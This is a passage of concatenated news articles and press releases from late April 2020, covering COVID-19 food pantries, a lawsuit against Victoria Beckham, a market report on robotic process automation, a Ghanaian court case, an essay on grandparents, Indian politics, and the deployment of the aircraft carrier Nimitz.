Jersey, the WIC program helps pregnant women or parents with kids who are 5 and under. For information on how to get that support, check the website. Other options For those looking for food pantries that arent aligned with the Food Bank of South Jersey, Philabundance, or Community Food Bank of New Jersey, Retmar recommends some national websites such as Whyhunger.org, where you can find a food pantry near your home on their website map. Two other useful websites: auntbertha.com and communityresourceconnects.org. Both provide information on social services, including food pantries. All that is needed is to type in your zip code to find out the food pantries in a certain area. READ MORE: I didnt get my coronavirus stimulus check. What should I do? Important tips: 1. Call the pantry first. (Dont call the food banks, but the individual pantries.) It is really important to call first, said Nicole Williams, communications and public relations manager for the Community Food Bank of New Jersey, which serves a large portion of the state and has its headquarters in Hillside. Some places only take appointment-only, and others have made changes in their operations. 2. Remember, operating hours can change. Some pantries have had to close for a variety of reasons, including because volunteers were senior citizens, Retamar said. With elderly being very much at risk with COVID-19, some have had to shut their doors, she said. 3. Many food pantries have lifted their restrictions on who can get food. Some, for instance, might not ask about employment status. But you should ask whether the food pantry only serves people from a certain town or county and what identification (if any) you need to bring. Also ask what age groups are eligible because some pantries might, for example, serve only senior citizens. A pattern cutter is suing Victoria Beckham over carpel tunnel after working 15 hour days seven days a week during fashion week. Kristina Kubiliene is taking legal action after saying that working at the brand's Hammersmith studio left her barely able to open a handbag. She alleged that her time spent at the west London workshop left her unable to work and needing surgery to have any kind of movement in her hands. Ms Kubiliene worked at the firm for eight years and claims she ended up working up to 15-hour days for seven days a week without regular breaks. Slater and Gordon industrial disease lawyer Natasha Moyeed is representing Kristina Kubiliene. Hitting the headlines: The fashion designer has been fiercely criticised for her decision to furlough her staff despite her family possessing a fortune of 335 million and is now being sued over carpel tunnel Ms Moyeed said: 'She was a pattern cutter and very good at this job, but because she was good she was tasked with working for long periods and with heavy fabrics. It was these repetitive, awkward and sustained movements which cause carpel tunnel syndrome to advance rapidly in hands and wrists. 'When I last saw her she could barely open her handbag. She is unable to work and has had to undergo surgery to have any kind movement in her hands. 'Her job involved lifting rolls of fabric, weighing 20 to 35kg, then laying out and pinning the fabric to patterns. Once pinned she would shrink the fabric with an industrial iron, again very heavy. This procedure would take 30 to 60 minutes. Next she would cut the fabric, which required significant pressure and accuracy holding with her left hand and cutting with her right. This task took up to three hours depending on the garment. 'Normally she worked 10am to 6pm, but twice a year for two weeks she attended New York Fashion Week. For a month beforehand her workload increased to up to 15 hours a day, seven days a week, without regular breaks or rest. During these times her hands and wrists were so sore she needed painkillers to work.' Backlash: The controversial business decision attracted a number of critical comments The lawyer added that Victoria Beckham Limited failed to implement measures to prevent the long-term injury. Ms Kubiliene last year had an operation to relieve her carpel tunnel syndrome and as a result of the surgery was unable to return to work. Her solicitor said: 'She is still unable to work and has such a weak grip she needs help around the home to do basic tasks. It is not known when, if ever, she will be able to return to a similar role, or any kind of employment.' The case comes amid a backlash hitting the Beckhams after Victoria furloughed 30 staff at her struggling fashion label, despite having a staggering family fortune of 335 million. It means she was taking advantage of a Government emergency scheme to claim what was estimated to be tens of thousands of pounds of taxpayers' money. The controversial business decision attracted a number of comments, including comedian Ricky Gervais, who 'liked' a comment on social media which said: 'The f****** Beckhams, sorry I'm done with them now. Shame on them.' Piers Morgan weighed in after the Beckham family spokesman justified the decision to get taxpayers to fork out 80 per cent of the wages for 30 of her staff by saying: 'Having assessed all our options, we made the decision to furlough a proportion of staff on an enhanced package.' Piers said Victoria's business was only a vanity project, adding: 'Lost money year after year. Been bailed out by her famously rich husband David Beckham. Sorry, this furlough scheme was not for prima donna millionaires like you.' Earlier this week Good Morning Britain co-host Susanna Reid, 49, explained that Victoria is reportedly forgoing her own salary and donating to food banks and asked what more she should do. After the scandal broke, her public relations team advised Victoria to hold back on boastful Instagram pictures in a bid to soften her image. In previous days, there had been a constant supply, with the couple making public videos of themselves baking or designing tie-dye T-shirts with their daughter Harper. MailOnline has contacted Victoria Beckham for comment. ROCKVILLE, MD / ACCESSWIRE / April 28, 2020 / The global robotic process automation market is forecasted to exhibit a stellar CAGR of 33% during the forecast period (2020-2029), according to a market study by Fact.MR. Factors predominantly fueling the growth are manufacturers in telecom, travel, insurance, healthcare, and banking realizing cost-effectiveness and labor efficiency by automating production process components. Robotic process automation bolsters organizations in reducing production timelines and eliminates errors possible in manual processes, thereby significantly benefitting in terms of revenue. Despite the adverse effects the COVID-19 outbreak is having on businesses across the globe, the robotic process automation market is likely to benefit from the outbreak of COVID-19. The outbreak has disrupted supply chains and manual manufacturing plants have halted production, or operating with limited workforce. This bestows a significant opportunity for players in the robotic process automation market to cater to such and improve sales by installing automation systems. Thereby, robotic process automation helps other industries in mitigating a huge business impact. Request Sample Report- https://www.factmr.com/connectus/sample?flag=S&rep_id=4628 Segmental Highlights: Consulting service segment is expected to register significant growth and account for nearly 57% of overall market share. The growth is primarily attributed to the growing awareness among organizations in developing economies, that are looking for cost-efficient alternatives in technology. Training segment will remain the second most lucrative segment, owing to increasing investments in training and development by organizations to enhance employee skillset and productivity. Service product types are projected to lead in terms of market share, accounting for more than 58% of the total value, on the back of enterprise organizations' preference for end-to-end services to ensure organization-wide deployment of robotic process automation initiatives. Smart software-based robot process automation is projected will grow at a tremendous rate during the forecast period, owing to suitability and flexibility of deployment which befits the demands of small and medium scale enterprises (SMEs). Large enterprises will capture the majority of market value share owing to the increasing need of these organizations to expand their global footprint in highly competitive environments. Explore 219 tables and 256 figures of the study. Request TOC of the report at- https://www.factmr.com/report/4628/robotic-process-automation-market North America is expected to persist its dominance in the top spot, accounting for more than half of the global market value. The demand in the region is due to the growing adoption of robotic process automation to cater to the demand for the increasing millennial population. Banking, Financial Services & Insurance is forecasted to lead the end-use segment, holding more than a quarter of market value, owing to the surging application of artificial intelligence and big data analytics in evaluating consumer candidature for financial services. Coverage: Types covered: Software and service Services covered: Consulting, implementation, and training Organizations covered: SMEs, and large enterprises, Deployments covered: Cloud and On premises Applications covered: BFSI, Manufacturing, Pharma & Healthcare, Retail, Telecom & IT, and others Regions covered: North America, Latin America, Europe, East Asia, South Asia & Oceania, and Middle East & Africa To Buy this report- https://www.factmr.com/checkout/4628/S About Fact.MR Expert analysis, actionable insights, and strategic recommendations of the veteran research team at Fact.MR helps clients from across the globe with their unique business intelligence requirements. With a repository of over thousand reports and 1 million+ data points, the team has scrutinized the ICT sector across 50+ countries for over a decade. The team provides unmatched end-to-end research and consulting services. Fact.MR's latest market reports and industry analysis help businesses navigate challenges and take critical decisions with confidence and clarity amidst breakneck competition. Contact: Fact.MR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Email: sales@factmr.com Web: https://www.factmr.com/ PR- https://www.factmr.com/media-release/1390/global-robotic-process-automation-market SOURCE: FactMR View source version on accesswire.com:https://www.accesswire.com/587358/Adoption-of-Robotic-Process-Automation-to-Soar-with-Surge-in-Demand-from-SMEs-COVID-19-Impact-to-Translate-into-New-Opportunity-in-Near-Term-FactMR Martin Amidu 28.04.2020 LISTEN The Supreme Court will deliver its judgment on Wednesday, April 29 in the case in which NDC MP for Bolga East Dr. Dominic Akuritinga Ayine is challenging the appointment of Martin A.B.K. Amidu as Special Prosecutor by President Akufo-Addo. The outcome of the judgment will determine whether Mr. Amidu who is the first ever Special Prosecutor remains in office or the President would have to appoint a new person to replace him. Amidu effectiveness in the office has been hampered by the court case. The determination of the case was temporarily delayed because the panel hearing the case had to be reconstituted following the retirement of one of the panel members, Justice Sophia Adinyira on July 31, last year. The panel at the time had indicated that they may not be able to see the case to its 'logical conclusion' before their colleague judge proceeded on her retirement and as a result, the panel had to be reconstituted. But the panel has since been reconstituted and lawyers for the applicant and the office of the Attorney General had filed their arguments as directed by the court in May last year paving the way for a judgment. Main Case Dr. Ayine, MP and a former deputy Attorney General under John Mahama filed the action at the Supreme Court challenging that Mr. Amidu's age did not qualify him to be appointed as Ghana's first Special Prosecutor. He then sought reliefs, including a declaration that by a true and proper interpretation of Articles 190 (1) (d), 199 (1) (4) and 295 of the 1992 Constitution, the requirement age of all holders of public offices created pursuant to Article 190 (1) (d), is 60 years, anyhow not beyond 65 years. The Attorney General's Office, in its response to the suit, urged the Supreme Court to dismiss the suit, saying it was being borne out of narrow, inadequate and literal construction of the scope of the application of Article 199 of the Constitution. The deputy AG then pushed that Mr. Amidu is not a proper party to the suit as the action is seeking to challenge the Attorney General's decision to nominate Mr. Amidu as the Special Prosecutor, as well as his presentation by the President to Parliament for approval. Mr. Dame also stated that the decision to appoint Mr. Amidu was taken in the course of the official duties of the President and AG and Mr. Amidu can therefore not be a party to the suit. He then urged the court to dismiss the suit and the court agreed with the deputy AG and subsequently struck out the name of Mr.Amidu as defendant in the suit, leaving the issue of whether Mr. Amidu can continue to be the Special Prosecutor looking at his age as being pushed by the MP. ---Daily Guide This article is part of the series: The Age of COVID-19 While growing up in a small town in the eastern state of Bengal (India), our summer vacations would be spent in Kolkata at the maternal grandparents (or mamar bari, as fondly referred to by Bengalis). Sitting comfortably on a woven bamboo mat on sultry afternoons, my grandfather would tell us haunting stories of poverty, hunger and death in the most quotidian manner. One of his often recurring narrations of a famine were of a young woman who came to my grandfathers household begging for bhaat er fyaan (starchy rice water) one morning and was found dead the same evening, a block away. As someone who had survived the devastating Bengal Famine (1943), the communal massacre of 1946 (also known as the Calcutta Riots), and the Sino-Indian war (1962), my grandfathers sharing of boyhood memories to my wide-eyed, curious eight-year old sister and I was not a deliberate attempt to blur the boundaries of childhood and adulthood. Rather, he sought to make the spontaneity and unpredictability of life knowable. Childhood studies scholars have shown how children are not just a tabula rasa incapable of understanding the uncanniness of the ordinary experiences, even when it radically contests our idyllic notions of childhood socialization. Or, as anthropologist Veena Das (2015, p.60) notes, understanding children opens the door to answering questions about the regime of the social itself. My grandfather died a year back. He was 93. His boyhood (and later adulthood) memories of death, riots, travels and resilience lay buried with him. Grandparents as keepers of memories As the world sees consistently higher rates of COVID-19 mortality among the older population, the personal account above allows me to reflect on the possibility of understanding grandparents as keepers of social memories. Admittedly, anthropologists have shown that individual accounts of the past demonstrate how the social permeates the personal. Hence, it is reasonable to assert that, through oral, ritual and bodily practices, grandparents are keepers of a communitys collective remembrance of the past. Noted memory scholar Maurice Halbwachs (1992) argued that memory forms a vast complex of unofficial, noninstitutionalized knowledge, often a counterweight to more privatized and established systems, representing the collective consciousness of peoples and nations. Again, from an affective labour perspective, this raises a question: how are we to understand the intimate obligations of (child)care that grandparents globally provide to keep familial collectives afloat, under the onslaught of the COVID-19 pandemic? More generally, how can this painfully irreversible loss shape our understanding of families, generations and cultures in the new world order following the pandemic? Grandparenting: Global narratives Globally, 206,542 deaths have been reported as of April 26, 2020. Case fatality rates increase by age. For example, in China, ground zero for the COVID-19 pandemic, the crude fatality ratio increased substantially with age: 0.23% in the 30-39 years to 3.60% (60-69 years) and going up to 7.96 % (70-79 years) and 14.8% (80+ years) (Verity, et al., 2020). Italy, which has recorded the second highest number of deaths (26,644 as at April 24, 2020), has seen a similar trend,with death rates rising from 0.4 % (30-39 years) to 24.5% (70-79 years) and as high as 30% (80-89 years). Given the unavailability of age-wise as well as rapidly changing fatality data in India, it is perhaps too early to offer precise estimates, but it is clear that the risk and toll are higher for the older population. In a context where multigenerational living is still the most common (Desai & Barik, 2017), (~59% of households report having older parents co-residing with married child/children) and desirable form of living arrangement, India has a larger epidemiological challenge. However, contrary to epidemiological concerns of disease risk owing to younger grandchildren at home who are effective carriers of viruses, I have shown elsewhere (Samanta, Chen, & Vanneman, 2015), older people in such households have similar odds of being sick as those without grandchildren. In particular, three-generation households (those with grandchildren) have higher protective effects against morbidity for older persons than any other form of living arrangement (e.g. living with spouse or with adult children). One possible explanation is that multigenerational households offer certain morbidity mitigating factors such as greater kin availability, closer network ties and companionship of grandchildren, known to improve overall wellbeing. Additionally, in India, such households are generally wealthier; incomes are pooled and resources are shared, thus ensuring greater access to decent healthcare. Research from other Asian contexts (see Chen & Liu, 2012in the context of China) that rely on grandparenting as a crucial familial resource show that grandchild-care is neither universally beneficial nor detrimental to elderly self-reported health. In fact, in some cases, grandparenting has protective effects. Will the pandemic recast the deficit narrative? Sadly, in India, the language of gerontology has been mostly alarmist, almost apocalyptic: woven around frailty, dependence and a social pathology of disease and debility (aptly pointed out by Lawrence Cohen in his anthropological classic, No Aging in India: Alzheimers, the Bad Family and Other Modern Things (1998) As scholarship suggests, older Indians, though revered through social-moral routes of the filial obligation, are not perceived as active caregivers (rather as care recipients, see Brijnath, 2011) or in other positive roles. This is perplexing since it is not uncommon to find grandparents taking care of grandchildren in dual-career households. In rural China, for example, authors show that grandparents are seen as family maximizers (Baker & Silverstein, 2013) since they assume the full-time role of parenting of left-behind grandchildren when their own adult children migrate to cities. This kin-keeping role of grandparents is crucial in maintaining lifetime continuities and family traditions especially in the face of crisis. The anthropological notion of kinscripts (Stack & Burton, 2016) a framework that examines how families as multigenerational collectives work out intimate obligations is all the more relevant in contemporary times as the world will experience massive job losses, homelessness, migration, death of loved ones and divorce in the aftermath of the pandemic. As the death toll rises and the pandemic continues to hurt the social model of families across the globe, our collective acknowledgement of grandparents as a valuable intergenerational resource needs to be heightened. As we practice responsible physical distancing, keeping away from older members in our community, let us remind ourselves of the many positive roles that our grandparents typically play: as kin-keepers, caregivers, storytellers and moving reservoirs of social histories. Let this pandemic serve as a vehicle to recast our often alarmist notion of population aging as a problem demanding economic and social resources and instead focus on the enriched selfhood of older people as active regenerators of families and generations. References Baker, L., & Silverstein, M. (2013). The wellbeing of grandparents caring for grandchildren in China and the United States. In S. Arber, & V. Timonen, Contemporary grandparenting: Changing family relationships in global contexts. Bristol, UK: Policy Press. Brijnath, B. (2011). Why does institutionalised care not appeal to Indian families? Legislative and social answers from urban India. Ageing & Society, 32(4), 697-717. Chen, F., & Liu, G. (2012). The Health Implications of Grandparents Caring for Grandchildren in China. The Journals of Gerontology: Series B, 99-112. Das, V. (2015). Affliction: Health, Disease & Poverty. New Delhi: Orient BlackSwan. Desai, S., & Barik, D. (2017). Land Live: Land ownership in rural India and intra household exchanges. India Human Development Survey Working Paper No. 2017-1. Halbwachs, M. (1992). On Collective Memory.University of Chicago Press. Samanta, T., Chen, F., & Vanneman, R. (2015). Living Arrangements and Health of Older Adults in India. The Journals of Gerontology: Series B, 70(6), 937-947. Stack, C., & Burton, L. (2016). Kinscripts: Refelctions on family, generation and culture. In E. Glenn, G. Chang, & L. Forcey, Mothering: Ideology, Experience and Agency.New York: Routledge. Verity, R., Okell, L. C., Dorigatti, I., Winskill, P., Whittaker, C., & Imai, N. (2020). Estimates of the severity of coronavirus disease 2019: a model-based analysis. The Lancet Infectious Diseases. doi:https://doi.org/10.1016/S1473-3099(20)30243-7 Tannistha Samanta is currently a faculty member with the department of Humanities and Social Sciences, Indian Institute of Technology, Gandhinagar. She received her PhD from the Department of Sociology at the University of Maryland, College Park in 2012. Her research is located at the interdisciplinary crossroads of family sociology and gerontology by blending quantitative and interpretive approaches. Specifically, she examines questions related to health, living arrangements, social capital, intergenerational relationships and older adult sexualities. The Age of COVID-19 is a series being cross-posted at Somatosphere and the Association for Anthropology, Gerontology and the Life Course (AAGE) blog and is edited by Celeste Pang, Cristina Douglas, Janelle Taylor and Narelle Warren. Photo source: https://pixabay.com/ Share this: Share Email Facebook Twitter Reddit Tumblr LinkedIn [view academic citations] [hide academic citations] In life, Nirmala Devi was often surrounded by her five children but when she died on Sunday morning, none of them was beside her amid the nationwide lockdown. With all her children and their families stuck in parts of India and abroad, her funeral pyre was lit by one of her grandsons in Bihars capital Patna. My mother had been ill for quite some time and she was cared for by a nurse. I had planned to visit her before March 24, when the lockdown was enforced. Due to the lockdown in Thailand from March 15 to April 30 and cancellation of international flights from March 22, I and my wife were unable to move, Rana Pratap Singh, Devis youngest son, said. The garment manufacturer in Thailands Pattaya has two older brothers in Mumbai and two sisters, who live in Chennai and Ranchi. Her condition deteriorated due to multiple health problems in the last month, he said. Singh said his siblings, who used to take turns to visit his mother all through the year, were also stuck at their respective places and unable to attend the funeral when they got the news of her death. Both Mumbai and Munger are worst hit by the Covid-19. Singh said he was lucky to have his son in Patna, a Class 12 student, who could light his mothers funeral pyre. Aditya had planned to visit Thailand after the final exams of Class 11. However, due to the lockdown, he could not, he said. The Thailand-based businessman said Aditya took the help of his maternal grandfather to make arrangements for the funeral, while rest of the family members were shown the ritual through a video call. Adityas grandfather, Nawal Kishore Singh, said it was difficult to console Aditya, who was all alone. But I managed to convince him to perform his grandmothers last rites. The boy had seen the death of a family member for the first time in his life, the 75-year-old retired Bihar government officer said. With the support of just four people, Devis body was cremated at Bansghat crematorium on Sunday. With no end in sight for the lockdown, Aditya has decided to perform the 13-day shraddha, as per the Vedic rituals. In the morning, the boy attends online classes. In the second half, he performs the Vedic rituals, said Singh. Maharashtra Congress on Tuesday questioned the 'silence' of state BJP leaders over the killing of two priests in Bulandshahr district of Uttar Pradesh. The incident also showed that the law and order situation in the BJP-ruled state had collapsed, said Maharashtra Congress spokesperson Sachin Sawant. "In the case of lynching of three persons including two sadhus in Palghar, the Maharashtra government arrested 110 persons and a high-level inquiry has been ordered," he said. It came to light later that the incident took place due to rumours about thieves roaming in the area, but "still the opposition communalised the incidentto malign the Maharashtra government," Sawant said. "The same BJP is now silent over the Bulandshahr incident. This shows the BJP's double standard and attempts to play during the coronavirus crisis, which is condemnable," he said. The Congress spokesperson also wondered if Union home minister Amit Shah called Uttar Pradesh Chief Minister Yogi Adityanathafter the Monday's incident, just as Shah called Maharashtra CM after the Palghar incident. "What is the difference between Palghar and Bulandshahr murders? The accused in Bulandshahr incident had an altercation with the sadhus. Were the sadhus provided protection? Why were the accused not apprehended early? Isn't this a failure of the state intelligence....failure of state government?" Sawant said. "Will the BJP demand CBI probe? Will state BJP leaders demand resignation of UP chief minister just like they demanded theresignation of Maharashtra home minister?" the Congress spokesperson asked. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) She's the former WAG known for her incredible figure and sense of style. And Nadia Bartel showed off her slender frame as an ambassador for the new White Shirt Campaign by retail giant Witchery. In a photo shoot for the collection, the 34-year-old fashion designer looked effortlessly chic as she posed in a white shirt and matching pants. She's glowing! Nadia Bartel looked casually chic in a white shirt and pants as she fronted the new Witchery campaign She completed the ensemble with a checkered grey coat and a pair of black heeled boots. Nadia wore minimal makeup and styled her hair in simple waves that fell effortlessly by her shoulders. Proceeds from each white shirt sold at the retailer will be donated to the Ovarian Cancer Research Foundation. Strike a pose! Nadia is an ambassador for the new White Shirt Campaign by retailer Witchery It comes days after Nadia discussed her split from Jimmy Bartel for the first time. The former couple, who married in 2014, announced their separation on August 15 last year, but it's believed they actually broke up two months earlier. Speaking to Stellar magazine on Sunday, the Henne founder admitted that 'every day is tough' while adjusting to life as a single mother. It's over! It comes after Nadia discussed her split from Jimmy Bartel (right) for the first time Challenging: Speaking to Stellar magazine on Sunday, the Henne founder admitted that 'every day is tough' while adjusting to life as a single mother She said: 'This is never what I thought would happen. Every day is tough. 'I was at the hardest point in my life and then to have articles written that weren't true, and to have hundreds of hate [comments] on Instagram and the continual pounding... it was difficult.' Nadia added that she was prioritising her children, Aston, four, and Henley, one, throughout the divorce. The Jawahar Lal Nehru Medical College and Hospital here is not informing authorities about novel coronavirus patients in time and has become a "hub" for COVID-19, a Uttar Pradesh BJP lawmaker alleged on Tuesday, seeking an inquiry from the state government. Expressing shock over the allegations, doctors at the hospital said MLA Dalveer Singh's insinuation has put them "at grave risk of lynching at the hands of ignorant elements". The Aligarh Muslim University (AMU), to which the JLNMCH is affiliated, has also criticized the MLA's remarks. The legislator later said his statement is being "misconstrued and distorted". In his statement, which has gone viral on social media, Singh alleged that the hospital has become a "hub for the coronavirus" and urged the Uttar Pradesh health minister to institute an inquiry into the lapses at the medical facility. Singh also accused the "hospital of not informing district authorities about (COVID-19) patients in a timely manner". The doctors said they are working round-the-clock at grave risk to their lives. These remarks have put "us at a grave risk of lynching at the hands of ignorant elements who could vent their anger on doctors on the basis of the MLA's insinuation and holding doctors responsible for this outbreak", the Resident Doctors' Association (RDA) at the hospital in a letter to the district magistrate said. The doctors said that in case any of them faces any untoward incident, the MLA and district authorities will be held responsible. RDA president Hamza Malik said authorities cannot absolve themselves of their responsibility for this defamatory action. Copies of the letter have been sent to the prime minister and chief minister, he said, adding that the hospital is conducting free coronavirus tests of about 250 patients daily. Following the reaction of doctors, MLA Singh said, "The medical college is a very important health facility not just for this district but for an entire region, and I have approached the Uttar Pradesh government and Union Minister Rajnath Singh to intervene in this matter only because I am aware of the importance of this hospital." If the functioning of this hosptal is hit then it could lead to a bigger crisis. "It was not my idea to defame the hospital", he said. "The virus spread among some doctors at the hospital because it was brought in by a patient," he said, adding that the present crisis arose solely because a coronavirus patient was referred to the hospital by a private doctor without duly informing. Aligarh has 24 COVID-19 cases and the first case in the city was reported less than a week ago when a coronavirus patient was referred to the JLNMCH by a private facility without allegedly informing hospital authorities of the symptoms of the patient. Singh said that "my other complaint is that all the work has been left to junior doctors while senior consultants are not playing their due role." "This is impacting the healthcare here. I also want an inquiry into reports that some senior consultants are illegally engaging in private practice," he said. The Jawahar Lal Nehru Medical College and Hospital is the frontline COVID-19 designated hospital for testing patients from more than seven districts of western Uttar Pradesh, including Gautam Buddh Nagar, Agra, Etah, Hathras, Kasganj, Rampur, Sambhal, Moradabad and Bulandshahr. Hamza said the MLA does not seem to be aware that an infected patient who visits the hospital can easily spread the virus which can hang around in the air and no one can be aware of it. AMU authorities have also strongly criticized the MLA's statement. In a statement, AMU spokesman Professor Shafay Kidwai said, "The hospital authorities are taking all possible measures to protect patients and doctors . We have provided PPE to all medical staff, and from last week we have made it mandatory for every patient who visits the hospital for any sort of treatment to wear PPE." Kidwai said the allegation that the hospital was not informing the district authorities in time is totally baseless. The testing machines are being operated at full capacity round the clock and every day reports are sent to district authorities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The former property of a serial hoarder where a dead body was found rolled in a carpet has hit the market for $2.25million. The house in Greenwich, on Sydney's Lower North Shore, belonged to hoarder Bruce Roberts who kept the corpse of intruder Shane Snellman on the property for 16 years. The 31 Greendale Street home was sold and demolished in 2018 and will return to the market this week as a 617sqm property block with development approval for a luxury house. The former property of a hoarder (pictured) in Greenwich, on Sydney's Lower North Shore, has been put on the market for $2.25 million The home of Bruce Roberts was demolished (pictured) in 2018 after the mummified body of Shane Snellman was found in wrapped in a rug and surrounded by rubbish The property has a listing price of $2.25million and will go to auction in May. Listing agent Karl Ferguson from McGrath in Greenwich said the property was turning over a new leaf and was ready to 'create a new history'. He told Daily Mail Australia the hoarding damage was so severe 'the original home could not be salvaged.' Mr Ferguson said local residents were happy to be rid of the hoarder house. He explained: 'We had a lot of neighbours who were excited to see the home demolished. 'We had dozens of calls asking what was going on, because there's still a lot of interest around that block and the history with it.' Mr Ferguson said he felt confident its grim past would not hinder the property from being purchased. 'The fact that this property had some history behind it has certainly meant that there's a lot of extra interest,' Mr Ferguson said. Listing agent Karl Ferguson said locals were happy the home (pictured) had been demolished Mr Ferguson said the property had been purchased by an expatriate family residing in Singapore in 2018 who were no longer able to finish the build. Hoarder Clean Up founder Chris Burgess was part of the team called in to clean the 'house of horrors' in May 2018. The forensic clean up specialist told Daily Mail Australia it was one of the biggest jobs he had ever done. 'There was so much stuff to clear from it, it was unbelievable,' Mr Burgess said. He said the cleaning effort took three weeks and cleared '30 to 40 truckloads' worth of rubbish. Mr Burgess described hoarded items filled the home in 'every room from floor to ceiling'. 'When the sunlight hit the rooms at a certain angle all you could see was dust exploding in the air,' he said. The property's original hoarder owner, Mr Roberts, died from a heart attack in 2017. Police believe Mr Snellman was shot when he broke into Mr Roberts' home and died from a bullet wound to the shoulder. He was found 16 years later wrapped in a rug and surrounded by rubbish. The property was first auctioned off in 2018 where it sold for $2.07million and was attended by 200 people. MILFORD Hospiece is to benefit from new funding of over 10 million which is going to voluntary hospices nationally. The funding was approved by the Government at the weekly Cabinet meeting which was held at Government Buildings. The funding comes as part of a Government decision to end an anomaly which until now has seen voluntary sector hospices, such as Milford Hospice receive less State funding than others. The decision by the Government to close this funding gap was initially planned to take place on a phased basis over the next three years. However, given the devastating impact of the Covid-19 crisis and the pressure on hospices, the additional funding will be provided this year. Willie O'Dea said, This is very significant for Milford Hospice and will close the funding gap which had developed between voluntary sector hospices and other hospices in Ireland. I have been working on the funding situation for Milford Hospice for some time and have attended meetings with the Minister and health officials and Milford Hospice. The service provided by Milford Hospice is one which almost every family in Limerick has benefited from, said Deputy O'Dea. indirectly, and the staff and board members carry out invaluable work not just at the facility in Plassey but across Limerick. The Covid-19 crisis has put all healthcare services, hospices included, under unprecedented pressure and has severely impacted revenue sources, such as fundraising activities, for community and voluntary organisations. This additional funding from Government will help provide financial certainty for Milford Hospice and enable the team to continue to focus on the crucial help and assistance they provide. When Dr George Diaz and his team were informed they might be about to treat Americas first confirmed case of coronavirus, a plan was already in place. Three weeks earlier, as part of its usual preparedness training, the Providence Regional Medical Centre in Everett, Washington, put staff through a simulation for a pandemic. Hospital staff worked with ambulance teams and other local officials to test who would do what, and how. In the third week of January, that mock simulation played out for real. Days earlier, a 35-year-old Asian American man reported flu-like symptoms after returning from a visit to family in Wuhan, China. Staff at the walk-in clinic he visited took nasal swabs, which were sent that same night to the Centres of Disease Control and Prevention (CDC) in Atlanta, while the man was told to go home and self-quarantine. When Dr Diaz was informed the test had come back positive, he and his team were ready for action. It took us about two hours from the time the CDC called, for us to get all our staff and personnel, supplies, and facilities in place to be able to give the [ambulance] folks the green light to come in, Mr Diaz told TV channel PBSs Frontline. We are ready for it. He said the man, who has still not been identified, was brought in a so-called isopod, designed to protect him and those around him. The ambulance teams transported him to his assigned room in the hospital, north of Seattle. Dr Diaz said after a couple of days, the man, who had reported a fever and a lack of appetite, started to deteriorate. He began developing more shortness of breath. And because of that, we got an X-ray which looked like he had been developing pneumonia. His oxygen levels in his blood were also decreasing, he said. Thinking on his feet, Dr Diaz considered Remdesivir, a drug that had been developed to treat Ebola and Marburg. He spoke to the drugs manufacturer, Gilead Sciences, and the Federal Drug Administration. The FDA gave us an approval to try it on a compassionate-use basis, knowing that it had not been approved yet, and that there werent even trials available to base that decision on, he said. We did use it the next day. He was still having very high fevers By the next day, his fevers resolved and they stayed gone. He got much better. He felt like he had started beating it. Coronavirus in numbers Dr Diaz and others have said they do not know if the Remdesivir played any role in the mans recovery. This week, the World Health Organisation (WHO) said reported the first trial of the drug on Covid-19 had failed. However, Gilead Sciences said the study had been mischaracterised. Less than two weeks after he was admitted to hospital, the patient had recovered and was well enough to go home. I am at home and continuing to get better. I ask that the media please respect my privacy and my desire not to be in the public eye, he said in a statement. I would like to thank the doctors, nurses, and entire team at Providence who cared for me. I appreciate all of the concern expressed by members of the public, and I look forward to returning to my normal life. [April 28, 2020] Phoenix New Media Filed 2019 Annual Report on Form 20-F BEIJING, April 28, 2020 /PRNewswire/ -- Phoenix New Media Limited ("Phoenix New Media", "ifeng" or the "Company") (NYSE: FENG), a leading new media company in China, today announced that it filed its annual report on Form 20-F for the fiscal year ended December 31, 2019 (the "2019 20-F") with the Securities and Exchange Commission on April 28, 2020. The 2019 20-F can be accessed on the Company's investor relations website at http://ir.ifeng.com. The Company will provide a hard copy of its audited consolidated financial statements contained in the 2019 20-F, free of charge, to its shareholders and ADS holders upon request. Requests can be directed to Investor Relations Department, Phoenix New Media Limited, Sinolight Plaza, No. 4 Qiyang Road, Wangjing, Chaoyang District, Beijing 100102, People's Republic of China. About Phoenix New Media Limited Phoenix New Media Limited (NYSE: FENG) is a leading new media company providing premium content on an integrated Internet platform, including PC and mobile, in China. Having originated from a leading global Chinese language TV network based in Hong Kong, Phoenix TV, the Company enables consumers to access professional news and other quality information and share user-generated content on the Internet through their PCs and mobile devices. Phoenix New Media's platform includes its PC channel, consisting of ifeng.com website, which comprises interest-based verticals and interactive services; its mobile channel, consisting of mobile news applications, mobile video application, digital reading application and mobile Internet website; and its operations with the telecom operators that provides mobile value-added services. For investor and media inquiries please contact: Phoenix New Media Limited Qing Liu Email: [email protected] ICR, Inc. Jack Wang Tel: +1 (646) 405-4883 Email: [email protected] View original content:http://www.prnewswire.com/news-releases/phoenix-new-media-filed-2019-annual-report-on-form-20-f-301048317.html SOURCE Phoenix New Media Limited [ Back To TMCnet.com's Homepage ] The Navy appears to be taking extra precautions to ensure the next aircraft carrier crew getting underway doesn't see a repeat of the health crisis playing out on another ship in the Pacific. Thousands of sailors assigned to the carrier Nimitz departed Bremerton, Washington, on Monday for their final pre-deployment training exercises. The entire crew was not only tested for COVID-19, the illness caused by the coronavirus, but also spent 27 days quarantined before departing. That's nearly double the 14-day period the Centers for Disease Control and Prevention recommend for anyone at risk for developing or passing along the virus. Related: Navy Believes Delivery Flights, Not Vietnam Port Stop, Brought Virus to Carrier The Nimitz is "taking advantage of lessons learned," according to a Navy release announcing the departure, by ensuring the crew was healthy and ready to conduct operations at sea. Nearly 1,000 members of the deployed carrier Theodore Roosevelt's crew have tested positive for the virus, leading to one death and the ship being sidelined in Guam for a month. Capt. Max Clark, commanding officer of the Nimitz, said his crew has followed the recommended guidance to remain virus-free, including wearing face coverings, practicing social distancing, keeping the ship clean, getting tested and remaining in quarantine. "Dealing with the challenges of the COVID pandemic has been difficult, so I'm very pleased that our mitigation efforts have put us in a position to get underway," Clark said in a statement. "We are all looking forward to training and operating again." Navy leaders, particularly those on carriers and other large ships, have changed protocols after the COVID-19 outbreak on the Roosevelt. Port calls have been restricted, and onboard deliveries are handled with extreme caution, with outside pilots and crews being barred from leaving their aircraft once they land on the ship. At least one other deployed warship, the destroyer Kidd, is dealing with a COVID-19 outbreak among its crew. The Kidd is now headed back to port as leaders try to stem the spread of the virus. The Nimitz, which will deploy alongside other ships as a carrier strike group, will be the first aircraft carrier to deploy since the outbreak on the Roosevelt was made public. Other ships and units that will complete the training and deploy with the strike group include: the 